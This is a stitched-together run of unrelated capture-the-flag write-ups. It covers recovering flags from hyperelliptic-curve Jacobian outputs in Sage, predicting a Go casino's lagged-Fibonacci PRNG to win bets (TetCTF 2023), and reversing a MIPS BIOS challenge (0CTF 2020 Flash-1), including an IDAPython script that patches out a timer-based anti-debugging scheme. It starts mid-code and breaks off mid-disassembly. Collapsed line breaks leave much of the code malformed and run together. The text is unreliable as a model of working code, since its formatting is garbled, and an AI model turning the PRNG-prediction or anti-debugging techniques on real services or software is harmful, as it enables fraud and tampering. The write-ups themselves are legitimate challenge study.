coefs = L[0]if coefs[8] < 0: coefs *= -1assert coefs[8] == 10**50 s = -coefs[6]t = -coefs[7]coefs = list(coefs[:6]) + [t,s]assert all(0<=i<2**336 for i in coefs)print(f"Coefficients recovered: {coefs}")
f1 = sum(coefs[i] * (x ** i) for i in range(2 * g1 + 2))f2 = sum(coefs[i] * (x ** i) for i in range(2 * g2 + 2))
HC1 = HyperellipticCurve(f1, 0)J1 = HC1.jacobian()(GF(p))
HC2 = HyperellipticCurve(f2, 0)J2 = HC2.jacobian()(GF(p))o1 = J1(outputs[0])o2 = J2(outputs[1])o3 = J2(outputs[2])```
For the first two parts of the flag, I implemented [this paper](https://www.sciencedirect.com/science/article/pii/S1071579715000787) to compute a "bisection" of the first output, recovering $j_1+j_2$ from $2(j_1+j_2)$:
```F_split = f1(x=x**2).splitting_field("t")f1_split=f1.change_ring(F_split)roots=[i[0] for i in f1_split.roots()]w=[u1(x=i).sqrt() for i in roots]M=matrix([[roots[i]*u1(x=roots[i]),u1(x=roots[i]),-roots[i]**2*w[i],-roots[i]*w[i],-w[i]] for i in range(5)])V=vector([v1(x=roots[i]) for i in range(5)])X=M**(-1)*Vk1,k0,l,lu11,lu10=Xu11=lu11/lu10=lu10/lP = x**2 + u11 * x + u10 # this is the "u"-part of j1+j2print(f"j1+j2 recovered: {P}")# which is equal to (x-flag1)*(x-flag2)# so we simply factorizeflag = []for (root,_) in P.roots(): flag.append(int(root).to_bytes(64,"big").decode())```
Now all that is left is to recover $j_2$ from $5\cdot j_2$.
This is probably hard in general (or at least, there is no easily google-able way to do this), but it helps that $j_2$ is of the form $[P]-[O]$. Denote its Mumford representation as $(u, v)$; then $u$ is just some linear polynomial $x + s$, and $v$ a constant.
It turns out, by the algorithm for adding divisors, that $5\cdot j_2$ has an *unreduced* representation of the form $(U,V)$ with $U=u^5$, and $V$ some polyonimal of degree at most $4$.
Now consider the algorithm for reducing some representation $(u,v)$: - While $\deg u > \deg f$ do: - Set $u \leftarrow \frac{f - v²}{u}$ - Set $v \leftarrow -v \mod u$ - Output $(u',v)$, where $u'$ is $u$ divided by its leading coefficient By experimenting with generating my own values, I observed that when running on $(U,V)$, the loop of this algorithm will only run once before giving the output $(u,v)$. Denote by $l$ the leading coefficient of $u$ in the final step.
Because $(u_2,v_2)$ is the reduced representation of $5\cdot j_2$, we have:$$u_2 = \frac{1}{l}\frac{f_2 - V^2}{U} = \frac{f_2 - V^2}{l(x+s)^5}$$or $l \cdot (x+s)^5 \cdot u_2 = f_2 - V^2$.
Here, we know $f_2$ and $u_2$, but not $l, s$ or $V=v_4x^4+v_3x^3+v_2x^2+v_1x+v_0$.As this is an equation of polyomials in $x$, we can look at each coefficient (with regards to $x$) seperately, and get a system of $\deg (f_2 - V^2) = 8$ equations.But as there are only 7 unknowns, this is (likely) solvable.I did so by computing the Groebner basis for this system of equations:
```PRcrazy.<s,l,v4,v3,v2,v1,v0> = PolynomialRing(GF(p)) PRcrazyx = PRcrazy[x]x = PRcrazyx(x)V = x**4 * v4 + x**3 * v3 + x**2 * v2 + x*v1 + v0f = f2(x=x)a = o2[0](x=x)T=(f-V**2)-l*(x-s)**5*aI=PRcrazy.ideal(T.coefficients())G=I.groebner_basis()gs = [i for i in G if i.degree(s)==1][0] # hopefully, we have something like "s + {constant} in there"gs = gs.coefficients()assert len(gs)==2 and 1 in gss = p - (set(gs)-{1}).pop()print(s)flag.append(int(s).to_bytes(64,"big")) ``` |
## Summary
We bet on a casino that implements the Golang PRNG. From truncated outputs we can (almost) reconstruct the internal state. By winning with high frequency we are able to exponentially increase our balance and retrieve the flag. **Event Link:** [TetCTF 2023](https://ctftime.org/event/1842)/[Casino 2](https://ctftime.org/task/24351)
## Challenge DescriptionWe have a casino implemented in `golang` and we have to make bets in order to earn money and win the flag. The structure is quite simple, and we are provided some `JSON` APIs to play:- `{'recipient':'Casino', 'command':'Register', 'username':username}` registers a user;- `{'recipient':'Casino', 'command':'ShowBalanceWithProof', 'username':username}` gives us the balance, plus a proof of the validity of that balance that we have to exibit in order to obtain the flag once we have enough money;- `{'recipient':'FlagSeller', 'command':'PrintFlag', 'balance':balance, 'proof_data':proof}`, where `balance` and `proof` are the result of `showbalance`, gives us the flag; by reading the function in `flag_seller.go`, we notice that this call shows us only the first `l` characters of the flag, where `l` is the bitlength of our balance divided by `8`;- finally, `{'recipient':'Casino', 'command':'Bet', 'username':username, 'amount':amount, 'n':n}` allows us to bet on one number `n`; the casino then picks a random number between `0` and `2023`, and if we guessed correctly, we are given back our bet multiplied by `2023`, otherwise we loose it; notably, if we make a mistake we are returned the correct number.We start from a balance of `2023`.
## SolutionThis challenge is the follow-up of the `Casino` challenge. The `Casino` challenge was more of an intrduction, since negative bets were allowed. You can hence earn an illimited ammount of money while losing, and quickly buy the flag. However, this bug is fixed in `Casino2`. This means that we have to actually break the casino. The random number is generated using the builtin golang function `rand.Intn(2023)`, which is seeded at the startup via `rand.Seed(int64(binary.LittleEndian.Uint64(tmp)))`. The `tmp` vector is initialized using `cryptorand.Read`, which accordingly to the official golang documentation is cryptographically secure. This means that the only way to break the seed is to try all the possible ones. According to [this post](https://will62794.github.io/security/hacking/2017/06/30/cracking-golang-prng.html), `rand.Seed` takes values `mod 2^31`, which means that we can break it computing and storing the first values of `rand.Intn` for seeds from `0` to `2^31`. Most of the people on the discord channel solved it in that way (for example [here](https://hackmd.io/@toxicpie9/H1ieXyJsj#Challenge)). However, it took *a few hour of CPU time* on their machine. On my old laptop, this was probably not an option. I then tried to understand how `rand.Intn` works. This was a very hard step, since I never used golang before and hence I tried to avoid reading the source code, regarding it as the last step. On the other hand, I didn't find a lot of docs online. However, [this post](https://www.leviathansecurity.com/media/attacking-gos-lagged-fibonacci-generator) affirms that it is a **Lagged Fibonacci Generator** with equation
$$x_n = (x_{n-273} + x_{n-607}) \mod (2^{63}-1).$$
This means that the PRNG has an *internal state* consisting of the last `607` numbers, and each number returned is then appended to the state. Of course, we have no control on the first `607` numbers, which are generated by the seed. However, we can discover them `mod 2023` by betting `1` on random numbers for `607` times. This does not give us precisely the internal state (which is made up by numbers up to `2^63`) but is a good start. We can still use the numbers we have to try to compute the upcoming ones and win money. I implemented this simple formula, and the result was promising: it had a good winning rate of about `1/5`. Recall that every time we win our bet is multiplied by `2023`. This means that on average if we bet `1` five times, we will win once with a gain of `+2018`. We are clearly beating the casino, but this is not enough. Infact, from the source code we see that when we ask for the flag we only obtain the first `L` characters, where `L` is the number of bytes of our balance. Even without knowing the length of the flag in advance, it is clear that we have to exponentially increase our balance over the time. A simple way to achieve that is to split our balance in a reasonable number of equal parts, for example `10`. Then for `9` times we bet `1/10` of our initial balance, and if we win we obtain `200` times our balance. If we lose all the `9` times (which is very unlikely, since we win on average once every `5` times) we still have `1/10` of our initial balance. In both cases we start again splitting the new balance in `10` parts, until we have enough money. This simple trick gives us the flag (`TetCTF{______l3ft_0r_r1ght_0r_b0th?______}`) very quickly; actually, most of the time was spent on retreiving the first `607` numbers. |
[Original writeup](https://medium.com/@LambdaMamba/ctf-writeup-la-ctf-2023-e827c9cd47c4#d570) (https://medium.com/@LambdaMamba/ctf-writeup-la-ctf-2023-e827c9cd47c4#d570) |
## 0CTF 2020 - Flash-1 (Reversing 267)##### 29/06 - 01/07/2020 (48hr)___
### Description
-
___
### Solution
The first part of this challenge is to properly locate its assembly code. From the *run.sh* filewe can tell that `flash` is a MIPS BIOS file:```#! /bin/sh
qemu-system-mips -M mips -bios ./flash -nographic -m 16M -monitor /dev/null 2>/dev/null```
If we run the program, it repeatedly asks for a flag:```Welcome to Flag MachineGive me flag: 123Try again!Welcome to Flag MachineGive me flag: 456Try again!....```
We load `flash` into IDA and we select the **MIPS Big Endian** or `mipsb` architecture (I actuallytried all possible MIPS architectures and the only one that made sense was `mipsb`). According tothe [PIC32MX Memory Mapping](https://www.johnloomis.org/microchip/pic32/memory/memory.html), theprogram should be loaded at address `0xBFC00000` (we always start execution from **ROM**). Programperforms two tasks: It sets up a software interrupt handler for timer events and loads the programinto **RAM**:```assemblyROM:BFC00000 .text # ROMROM:BFC00000 j ROM_ENTRY_POINT_BFC01680ROM:BFC00004 nopROM:BFC00008...ROM:BFC01680 ROM_ENTRY_POINT_BFC01680: # CODE XREF: ROM:BFC00000↑jROM:BFC01680 mtc0 $zero, SR # Status registerROM:BFC01684 nopROM:BFC01688 mtc0 $zero, WatchLo # Memory reference trap address low bitsROM:BFC0168C nopROM:BFC01690 mtc0 $zero, WatchHi # Memory reference trap address high bitsROM:BFC01694 nopROM:BFC01698 mfc0 $t0, Config # Configuration registerROM:BFC0169C li $at, 0xFFFFFFF8ROM:BFC016A0 and $t0, $atROM:BFC016A4 ori $t0, 2ROM:BFC016A8 mtc0 $t0, Config # Configuration registerROM:BFC016AC lui $sp, 0x803CROM:BFC016B0 li $t0, timer_handler_BFC01550 # write handler to RAMROM:BFC016B8 sw $t0, 0x80020008 # *0x80020008 = 0xBFC01550ROM:BFC016C0 jal load_prog_to_ram_BFC015E4ROM:BFC016C4 nopROM:BFC016C8ROM:BFC016C8 loc_BFC016C8: # CODE XREF: ROM_ENTRY_POINT_BFC01680:loc_BFC016C8↓jROM:BFC016C8 j loc_BFC016C8```
Let's start with the function at `BFC015E4h`:```assemblyROM:BFC015E4 load_prog_to_ram_BFC015E4: # CODE XREF: ROM_ENTRY_POINT_BFC01680+40↓pROM:BFC015E4 addiu $sp, -0x28ROM:BFC015E8 sw $ra, 0x20+var_s4($sp)ROM:BFC015EC sw $fp, 0x20+var_s0($sp)ROM:BFC015F0 move $fp, $sp # prologROM:BFC015F4 lui $v0, 0xBFC1ROM:BFC015F8 sw $v0, 0x20+src_10($fp) # src = 0xBFC10000ROM:BFC015FC lui $v0, 0x8000ROM:BFC01600 sw $v0, 0x20+dst_C($fp) # dst = 0x80000000ROM:BFC01604 sw $zero, 0x20+i_8($fp)ROM:BFC01608 b COPY_LOOP_END_BFC0163CROM:BFC0160C nopROM:BFC01610ROM:BFC01610 COPY_LOOP_BFC01610: # CODE XREF: load_prog_to_ram_BFC015E4+60↓jROM:BFC01610 lw $v1, 0x20+src_10($fp)ROM:BFC01614 addiu $v0, $v1, 4 # src += 4ROM:BFC01618 sw $v0, 0x20+src_10($fp)ROM:BFC0161C lw $v0, 0x20+dst_C($fp)ROM:BFC01620 addiu $a0, $v0, 4 # dst += 4ROM:BFC01624 sw $a0, 0x20+dst_C($fp)ROM:BFC01628 lw $v1, 0($v1)ROM:BFC0162C sw $v1, 0($v0) # *(dst + 4*i) = *(src + 4*i) (word)ROM:BFC01630 lw $v0, 0x20+i_8($fp)ROM:BFC01634 addiu $v0, 1 # ++iROM:BFC01638 sw $v0, 0x20+i_8($fp)ROM:BFC0163CROM:BFC0163C COPY_LOOP_END_BFC0163C: # CODE XREF: load_prog_to_ram_BFC015E4+24↑jROM:BFC0163C lw $v0, 0x20+i_8($fp)ROM:BFC01640 slti $v0, 0x1000 # if i < 0x1000 then loop (copy 1 page)ROM:BFC01644 bnez $v0, COPY_LOOP_BFC01610ROM:BFC01648 nopROM:BFC0164C li $v0, 0x80000500 # call function at adddress 0x80000500ROM:BFC01654 jalr $v0 # that is, whatever is at 0xBFC10500ROM:BFC01658 nopROM:BFC0165C nopROM:BFC01660 move $sp, $fp # epilogROM:BFC01664 lw $ra, 0x20+var_s4($sp)ROM:BFC01668 lw $fp, 0x20+var_s0($sp)ROM:BFC0166C addiu $sp, 0x28ROM:BFC01670 jr $```
This function simply copies **4KB** of code from address `0xBFC10000` (**ROM**) into `0x80000000`which is where **RAM** starts. Then it invokes the function located at `0x80000500`.
Reversing the code directly from 0xBFC10000, is going to be hard as the constant addresses willbe based on RAM's based address`0x80000000`. Therefore, we launch a new IDA instance and we reloadthe program at address such that `0xBFC10000` maps to `0x80000000`. That is, we load programat address `0x7FFF000`.
Let's see the timer handler at `0xBFC01550`, which is more complicated:```cvoid __fastcall timer_handler_BFC01550(registers *a1) { /* ... */ if ( !MEMORY[0x80020000] ) timer_init_BFC014D0(); ret_addr = a1->ra_; // address of spinlock obj = timer_bin_search_BFC00744((struc_1 *)0x80020000, &ret_addr); if ( obj ) a1->ra_ = obj->second; // update return address}
void __cdecl timer_init_BFC014D0() { /* ... */ timer_BFC00578((struc_1 *)0x80020000); for ( i = &glo_big_tbl_BFC20000; i->first; ++i ) timer_add_BFC005E0((struc_1 *)0x80020000, (int)i);}```
```assemblyROM:BFC20000 # pair glo_big_tbl_BFC20000ROM:BFC20000 glo_big_tbl_BFC20000:pair <0x53ABC57E, 0x53ABE9FE>ROM:BFC20008 pair <0x53ABC56E, 0x53ABE9EA>ROM:BFC20010 pair <0x53ABC512, 0x53ABE996>ROM:BFC20018 pair <0x53ABC532, 0x53ABE982>ROM:BFC20020 pair <0x53ABC6CE, 0x53ABE9AE>ROM:BFC20028 pair <0x53ABC6FE, 0x53ABE95A>ROM:BFC20030 pair <0x53ABC6EE, 0x53ABE946>ROM:BFC20038 pair <0x53ABC696, 0x53ABE972>ROM:BFC20040 pair <0x53ABC6BE, 0x53ABE91E>ROM:BFC20048 pair <0x53ABC6AE, 0x53ABE90A>ROM:BFC20050 pair <0x53ABC64E, 0x53ABE936>ROM:BFC20058 pair <0x53ABC662, 0x53ABE922>....```
This function takes the value of the `$ra` register and uses it as a key to search in a binarytree. If the value is found, the contents of `$ra` are being updated. If the data structure isempty it gets initialized with the values at `0x80020000` (or `0xBFC20000` before the relocation);the first value of the pair is the key, the second is the returned value. This looks like ananti-reversing protection as the value of the return address gets tampered when the timer interrupthandler is called. We will get back to that later on.
### Reversing the RAM Code
Let's not move on the code in **RAM**. First instruction is at `0x80000500`:```assemblyRAM:80000500 # void __noreturn RAM_ENTRY_POINT_80000500()RAM:80000500 RAM_ENTRY_POINT_80000500: # CODE XREF: RAM:7FFF1654↑pRAM:80000500 # DATA XREF: RAM:7FFF164C↑oRAM:80000500 jal init_counter_80000564RAM:80000504 nopRAM:80000508 li $t0, 0x10008001 # enable interrupt at level 7RAM:80000510 mtc0 $t0, SR # Status registerRAM:80000514 lui $sp, 0x804C # initialize stack (0x804c0000)RAM:80000518 j u_print_welcome_80000D34 # function prologRAM:8000051C nop```
Program initializes a timing counter (see[coprocessor 0](https://en.wikichip.org/wiki/mips/coprocessor_0)) and invokes `0x80000D34` toprint the welcome message:
```assemblyRAM:80000564 init_counter_80000564: # CODE XREF: RAM_ENTRY_POINT_80000500↑pRAM:80000564 # sub_8000264C+1C↓pRAM:80000564 li $t0, 0x1000RAM:80000568 mtc0 $t0, Compare # Timer CompareRAM:8000056C mtc0 $zero, Count # Timer CountRAM:80000570 jr $ra # returnRAM:80000574 nop```
```assemblyRAM:80000D34 u_print_welcome_80000D34: # CODE XREF: RAM_ENTRY_POINT_80000500+18↑jRAM:80000D34RAM:80000D34 var_s0 = 0RAM:80000D34 var_s4 = 4RAM:80000D34RAM:80000D34 addiu $sp, -0x20RAM:80000D38 sw $ra, 0x18+var_s4($sp)RAM:80000D3C sw $fp, 0x18+var_s0($sp)RAM:80000D40 move $fp, $spRAM:80000D44 lui $v0, 0x8000 # v0 = 0x80000000RAM:80000D48 addiu $a0, $v0, (aWelcomeToFlagM - 0x80000000) # "Welcome to Flag Machine"RAM:80000D4C mtc0 $zero, Count # Timer CountRAM:80000D50RAM:80000D50 SPINLOCK_80000D50: # CODE XREF: u_print_welcome_80000D34:SPINLOCK_80000D50↓jRAM:80000D50 b SPINLOCK_80000D50RAM:80000D54 nop```
After the welcome message is printed, functions enters into a spinlock at `0x80000D50`. This isweird since the program later on asks for a flag, so there must be something else going on. To findthe answer we check the address at `0x80000180`:```assemblyRAM:80000080 nopRAM:80000084 nop....RAM:8000017C nopRAM:80000180 move $k1, $spRAM:80000184 li $sp, 0x8043FF6CRAM:8000018C sw $at, arg_0($sp)RAM:80000190 sw $v0, arg_4($sp)RAM:80000194 sw $v1, arg_8($sp)RAM:80000198 sw $a0, arg_C($sp)RAM:8000019C sw $a1, arg_10($sp)RAM:800001A0 sw $a2, arg_14($sp)RAM:800001A4 sw $a3, arg_18($sp)RAM:800001A8 sw $t0, arg_1C($sp)RAM:800001AC sw $t1, arg_20($sp)RAM:800001B0 sw $t2, arg_24($sp)RAM:800001B4 sw $t3, arg_28($sp)RAM:800001B8 sw $t4, arg_2C($sp)RAM:800001BC sw $t5, arg_30($sp)RAM:800001C0 sw $t6, arg_34($sp)RAM:800001C4 sw $t7, arg_38($sp)niRAM:800001C8 sw $s0, arg_3C($sp)RAM:800001CC sw $s1, arg_40($sp)RAM:800001D0 sw $s2, arg_44($sp)RAM:800001D4 sw $s3, arg_48($sp)RAM:800001D8 sw $s4, arg_4C($sp)RAM:800001DC sw $s5, arg_50($sp)RAM:800001E0 sw $s6, arg_54($sp)RAM:800001E4 sw $s7, arg_58($sp)RAM:800001E8 sw $t8, arg_5C($sp)RAM:800001EC sw $t9, arg_60($sp)RAM:800001F0 sw $gp, arg_6C($sp)RAM:800001F4 sw $k1, arg_70($sp)RAM:800001F8 sw $fp, arg_74($sp)RAM:800001FC sw $ra, arg_78($sp)RAM:80000200 mfc0 $t0, EPC # Exception Program CounterRAM:80000204 sw $t0, arg_7C($sp)RAM:80000208 mfc0 $t0, ErrorEPC # Error Exception Program CounterRAM:8000020C sw $t0, arg_80($sp)RAM:80000210 mfc0 $t0, SR # Status registerRAM:80000214 sw $t0, arg_84($sp)RAM:80000218 addi $a0, $sp, arg_0RAM:8000021C lw $k0, off_80003D20RAM:80000224 jalr $k0RAM:80000228 nopRAM:8000022C nopRAM:80000230 lw $t0, arg_7C($sp)RAM:80000234 mtc0 $t0, EPC # Exception Program CounterRAM:80000238 lw $t0, arg_80($sp)RAM:8000023C mtc0 $t0, ErrorEPC # Error Exception Program CounterRAM:80000240 lw $t0, arg_84($sp)RAM:80000244 mtc0 $t0, SR # Status registerRAM:80000248 lw $v0, arg_4($sp)RAM:8000024C lw $v1, arg_8($sp)RAM:80000250 lw $a0, arg_C($sp)RAM:80000254 lw $a1, arg_10($sp)RAM:80000258 lw $a2, arg_14($sp)RAM:8000025C lw $a3, arg_18($sp)RAM:80000260 lw $t0, arg_1C($sp)RAM:80000264 lw $t1, arg_20($sp)RAM:80000268 lw $t2, arg_24($sp)RAM:8000026C lw $t3, arg_28($sp)RAM:80000270 lw $t4, arg_2C($sp)RAM:80000274 lw $t5, arg_30($sp)RAM:80000278 lw $t6, arg_34($sp)RAM:8000027C lw $t7, arg_38($sp)RAM:80000280 lw $s0, arg_3C($sp)RAM:80000284 lw $s1, arg_40($sp)RAM:80000288 lw $s2, arg_44($sp)RAM:8000028C lw $s3, arg_48($sp)RAM:80000290 lw $s4, arg_4C($sp)RAM:80000294 lw $s5, arg_50($sp)RAM:80000298 lw $s6, arg_54($sp)RAM:8000029C lw $s7, arg_58($sp)RAM:800002A0 lw $t8, arg_5C($sp)RAM:800002A4 lw $t9, arg_60($sp)RAM:800002A8 lw $gp, arg_6C($sp)RAM:800002AC lw $k1, arg_70($sp)RAM:800002B0 lw $fp, arg_74($sp)RAM:800002B4 lw $ra, arg_78($sp)RAM:800002B8 move $sp, $k1RAM:800002BC eret```
This function performs a **context switch**: It saves all registers to stack, then it calls functionat `off_80003D20` and then restores the context:```assemblyRAM:80003D20 off_80003D20:.word u_xor_ra_80002610 # DATA XREF: u_exception_handler_80000080+19C↑r```
Function `u_xor_ra_80002610` simply XORs `$ra` with the const `0xD3ABC0DE`:```assemblyRAM:80002610 addiu $sp, -0x18RAM:80002614 sw $ra, 0x10+var_s4($sp)RAM:80002618 sw $fp, 0x10+var_s0($sp)RAM:8000261C move $fp, $spRAM:80002620 sw $a0, 0x10+arg_0($fp)RAM:80002624 lw $v0, 0x10+arg_0($fp)RAM:80002628 lw $v1, 0x7C($v0)RAM:8000262C li $v0, 0xD3ABC0DERAM:80002634 xor $v1, $v0RAM:80002638 lw $v0, 0x10+arg_0($fp)RAM:8000263C sw $v1, 0x7C($v0)RAM:80002640 lw $a0, 0x10+arg_0($fp) # a1RAM:80002644 jal sub_80000524RAM:80002648 nop```
Then it invokes `sub_80000524` that makes a system call:```RAM:80000524 mfc0 $t0, SR # Status registerRAM:80000528 addiu $sp, -8RAM:8000052C sw $t0, 4+var_4($sp)RAM:80000530 sw $ra, 4+var_s0($sp)RAM:80000534 li $t0, 0x400004RAM:8000053C mtc0 $t0, SR # Status registerRAM:80000540 syscallRAM:80000544 nopRAM:80000548 lw $t0, 4+var_4($sp)RAM:8000054C lw $ra, 4+var_s0($sp)RAM:80000550 mfc0 $t0, SR # Status registerRAM:80000554 addiu $sp, 8RAM:80000558 jr $raRAM:8000055C nop```
This system call invokes the timer handler from **ROM** (`timer_handler_BFC01550`).
The address `0x80000180` is not random; If we look at[here](http://contents2.kocw.or.kr/KOCW/document/2013/soongsil/kimbyounggi1031/19.pdf) (slide **14**),we will that upon an interrupt, the MIPS processor executes the code located at address `0x80000180`.
Now everything becomes clear: Program initializes a counter and then executes some code until ithits the spinlock, where it waits until the time interrupt is triggered. Then, it invokes theinterrupt handler at `0x80000180`, where it XORs the return address at `$ra` register with`0xD3ABC0DE`. Then, it makes a syscall to `timer_handler_BFC01550` where it uses the XORed value of`$ra` as a key to search into a tree that contains the values from `glo_big_tbl_BFC20000` (which isessentially a *hashmap*) to find the corresponding value. If that value is found, then programassigns it to the `$ra` and resumes execution. However, the new value is also XORed with `0xD3ABC0DE`,so it needs to be XORed again before execution returns. This is where syscall at `0x8000264C` iscalled to get the final `$ra` value:```assemblyRAM:8000264C lw $v0, 0x18($fp)RAM:80002650 lw $v1, 0x7C($v0)RAM:80002654 li $v0, 0xD3ABC0DERAM:8000265C xor $v1, $v0RAM:80002660 lw $v0, 0x18($fp)RAM:80002664 sw $v1, 0x7C($v0)RAM:80002668 jal init_counter_80000564RAM:8000266C nopRAM:80002670 nopRAM:80002674 move $sp, $fpRAM:80002678 lw $ra, arg_14($sp)RAM:8000267C lw $fp, e($sp)RAM:80002680 addiu $sp, 0x18RAM:80002684 jr $raRAM:80002688 nop```
### Bypassing the Anti-Reversing Protection
This protection makes debugging really annoying so we have to get rid of it. If we XOR all entriesfrom the `glo_big_tbl_BFC20000` we can get the next address from every spinlock:``` 0x800005A0 ~> 0x80002920 0x800005B0 ~> 0x80002934 0x800005CC ~> 0x80002948 0x800005EC ~> 0x8000295C 0x80000610 ~> 0x80002970 0x80000620 ~> 0x80002984 0x80000630 ~> 0x80002998 0x80000648 ~> 0x800029AC ... 0x80000D50 ~> 0x80002E34 0x80000D64 ~> 0x80002E48````
We can see for example that when execution gets stuck in at `0x80000D50` (inside `u_print_welcome_80000D34`), then execution resumes at `0x80002E34`. We write a quick IDAPythonscript (see [patch_timing_anti_re.py](./patch_timing_anti_re.py) for more details) to replaceall spinlocks with jumps to the appropriate locations:```pythonfor i in range(257): a = ida_bytes.get_dword(0x80010000 + 8*i) # Address of spinlock b = ida_bytes.get_dword(0x80010000 + 8*i + 4) # Address to continue
a ^= 0xD3ABC0DE b ^= 0xD3ABC0DE b //= 4 # Replace with a J instruction ida_bytes.patch_dword(a, 0x08000000 | b & 0xFFFF )
# Make previous instruction a nop: # mtc0 $zero, Count # Timer Count ida_bytes.patch_dword(a - 4, 0x00000000)```
After that, we "apply the changes to the input file" and we have a new, patched binary (call it`flash_fixed`). We also run it to make sure that it works as expected. At this point we can loadthe patch program into [pwndbg](https://github.com/pwndbg/pwndbg) and debug it!
### Setting Up PwnDbg
Properly setting up PwnDbg was also a small challenge. First we add the `-s` (shortcut for `-gdb tcp::1234`) and `-S` flags to qemu to prepare it for debugging:```qemu-system-mips -D /tmp/qemu-debug-log -s -S -M mips -bios ./flash_fixed -nographic -m 16M monitor /dev/null 2>/dev/null ```
The we set up pwndbg:```pwndbg> file flash_fixed
"/home/ispo/ctf/0ctf_2020/flash-1/flash_fixed": not in executable format: file format not recognizedpwndbg> set endian big
The target is set to big endian.pwndbg> set architecture mips:isa32
The target architecture is set to "mips:isa32".pwndbg> target remote 192.168.3.144:1234
Remote connection closedpwndbg> target remote 192.168.3.144:1234
Remote debugging using 192.168.3.144:1234warning: No executable has been specified and target does not supportdetermining executable automatically. Try using the "file" command.0xbfc00000 in ?? ()```
### Reversing the Challenge Code
We load the `flash_fixed` into pwndbg and we continue execution from `u_print_welcome_80000D34`.After our fixes, we can see that function at `0x80000D34` is actually much bigger:```assemblypwndbg> pdisass 100
► 0x80000d34 addiu $sp, $sp, -0x20 0x80000d38 sw $ra, 0x1c($sp) 0x80000d3c sw $fp, 0x18($sp) 0x80000d40 move $fp, $sp 0x80000d44 lui $v0, 0x8000 0x80000d48 addiu $a0, $v0, 0x26c8 ; "Welcome to Flag Machine" 0x80000d4c nop 0x80000d50 j 0x80002e34 ; print message (character by character) 0x80000d54 nop 0x80000d58 lui $v0, 0x8000 0x80000d5c addiu $a0, $v0, 0x26e0 ; "Give me flag: " 0x80000d60 nop 0x80000d64 j 0x80002e48 ; print another message 0x80000d68 nop 0x80000d6c addiu $a0, $zero, 0x800 0x80000d70 nop 0x80000d74 j 0x80002e5c <0x80002e5c> 0x80000d78 nop 0x80000d7c sw $v0, 0x10($fp) 0x80000d80 addiu $a1, $zero, 0x800 0x80000d84 lw $a0, 0x10($fp) 0x80000d88 nop 0x80000d8c j 0x80002e70 ; read from stdin 0x80000d90 nop 0x80000d94 sw $v0, 0x14($fp) 0x80000d98 lw $v0, 0x14($fp) 0x80000d9c addiu $v0, $v0, -1 0x80000da0 sw $v0, 0x14($fp) 0x80000da4 addiu $a2, $zero, 5 0x80000da8 lui $v0, 0x8000 0x80000dac addiu $a1, $v0, 0x26f0 ; "flag{" 0x80000db0 lw $a0, 0x10($fp) 0x80000db4 nop 0x80000db8 j 0x80002e84 ; compare flag startswith "flag{"; v0 has cmp result 0x80000dbc nop 0x80000dc0 nop 0x80000dc4 j 0x80002e98 ; if 0 move on; else jump to try again 0x80000dc8 nop 0x80000dcc lw $v0, 0x14($fp) 0x80000dd0 addiu $v0, $v0, -1 0x80000dd4 lw $v1, 0x10($fp) 0x80000dd8 addu $v0, $v1, $v0 0x80000ddc lb $v1, ($v0) 0x80000de0 addiu $v0, $zero, 0x7d ; '}' 0x80000de4 nop 0x80000de8 j 0x80002eac ; strchr(flag, '}')
0x80000dec nop 0x80000df0 lw $v0, 0x14($fp) ; v0 index of '}' 0x80000df4 addiu $v0, $v0, -6 ; v0 inside flag length ("flag{ISPOLEET}") 0x80000df8 sw $v0, 0x14($fp) 0x80000dfc lw $v0, 0x10($fp) 0x80000e00 addiu $v0, $v0, 5 ; v0 ~> & ISPOLEET (skip "flag{" part) 0x80000e04 lw $v1, 0x14($fp) 0x80000e08 move $a2, $v1 ; arg3: inside flag length len("ISPOLEET") 0x80000e0c move $a1, $v0 ; arg2: ISPOLEET}\n" 0x80000e10 lw $a0, 0x10($fp) ; arg1: "flag{ISPOLEET}\n" 0x80000e14 nop 0x80000e18 j 0x80002ec0 ; strncpy(flag, &flag[5], inside_flag_len) 0x80000e1c nop 0x80000e20 lw $v0, 0x14($fp) 0x80000e24 lw $v1, 0x10($fp) 0x80000e28 addu $v0, $v1, $v0 0x80000e2c sb $zero, ($v0) ; flag[inside_flag_len] = 0 0x80000e30 lw $v0, 0x14($fp) 0x80000e34 addiu $v0, $v0, 1 ; v0 = inside_flag_len + 1 0x80000e38 srl $v1, $v0, 0x1f 0x80000e3c addu $v0, $v1, $v0 0x80000e40 sra $v0, $v0, 1 ; v0 = (inside_flag_len + 1) // 2 0x80000e44 move $a1, $v0 ; arg2: (inside_flag_len + 1) >> 1 0x80000e48 lw $a0, 0x10($fp) ; arg1: inside_flag 0x80000e4c nop 0x80000e50 j 0x80002ed4 ; do some initializations? idk.. 0x80000e54 nop ; v0: &foo, v1: &glo_const_tbl 0x80000e58 nop 0x80000e5c j 0x80002ee8 ; check flag and return 0 or 1 0x80000e60 nop 0x80000e64 lui $v0, 0x8000 0x80000e68 lh $v0, 0x3d24($v0) 0x80000e6c nop 0x80000e70 j 0x80002efc ; if equal go to try again 0x80000e74 nop 0x80000e78 lui $v0, 0x8000 0x80000e7c addiu $a0, $v0, 0x26f8 ; "Correct!" 0x80000e80 nop 0x80000e84 j 0x80002f10 <0x80002f10> 0x80000e88 nop 0x80000e8c nop 0x80000e90 j 0x80002f24 <0x80002f24> 0x80000e94 nop 0x80000e98 nop 0x80000e9c nop 0x80000ea0 j 0x80002f38 <0x80002f38> 0x80000ea4 nop 0x80000ea8 nop 0x80000eac lui $v0, 0x8000 0x80000eb0 addiu $a0, $v0, 0x2704 ; "Try again!" 0x80000eb4 nop 0x80000eb8 j 0x80002f4c <0x80002f4c> 0x80000ebc nop 0x80000ec0 nop 0x80000ec4 move $sp, $fp 0x80000ec8 lw $ra, 0x1c($sp) 0x80000ecc lw $fp, 0x18($sp) 0x80000ed0 addiu $sp, $sp, 0x20 0x80000ed4 nop 0x80000ed8 j 0x80002f60 <0x80002f60> 0x80000edc nop ```
We do not really have to analyze all these functions. We can understand what they are doing justby observing their input/outputs. The flag is checked at function `0x80002ee8`, which ends upcalling `0x8000081c`:```assembly0x80000e5c j 0x80002ee8 <0x80002ee8>↓0x80002ee8 jal 0x8000081c↓0x8000081c addiu $sp, $sp, -0x48```
Let's look at how the flag is being verified:```assembly0x8000081c addiu $sp, $sp, -0x48 ; function prolog0x80000820 sw $ra, 0x44($sp) ;0x80000824 sw $fp, 0x40($sp) ;0x80000828 move $fp, $sp ;0x8000082c sw $zero, 0x10($fp) ;0x80000830 nop ;0x80000834 j 0x80002ab0 ;0x80000838 nop ;
